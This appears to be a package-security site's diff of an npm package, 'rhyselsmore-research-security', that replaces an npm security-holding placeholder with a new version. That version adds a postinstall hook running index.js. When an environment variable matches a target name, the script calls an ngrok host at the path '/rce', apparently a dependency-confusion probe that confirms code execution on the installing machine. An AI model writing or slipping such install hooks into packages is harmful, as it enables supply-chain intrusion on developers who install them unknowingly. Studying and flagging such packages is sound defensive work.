rhyselsmore-research-security 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of rhyselsmore-research-security might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('node:https');
|
2
|
+
|
3
|
+
if (process.env.TWILIO_ENV != "rhyselsmore") {
|
4
|
+
process.exit()
|
5
|
+
}
|
6
|
+
|
7
|
+
const options = {
|
8
|
+
hostname: '0cba25ed7862.au.ngrok.io',
|
9
|
+
port: 443,
|
10
|
+
path: '/rce',
|
11
|
+
method: 'GET'
|
12
|
+
};
|
13
|
+
|
14
|
+
const req = https.request(options, (res) => {
|
15
|
+
console.log('statusCode:', res.statusCode);
|
16
|
+
console.log('headers:', res.headers);
|
17
|
+
|
18
|
+
res.on('data', (d) => {
|
19
|
+
process.stdout.write(d);
|
20
|
+
});
|
21
|
+
});
|
22
|
+
|
23
|
+
req.on('error', (e) => {
|
24
|
+
console.error(e);
|
25
|
+
});
|
26
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "rhyselsmore-research-security",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rhyselsmore-research-security for more information.
|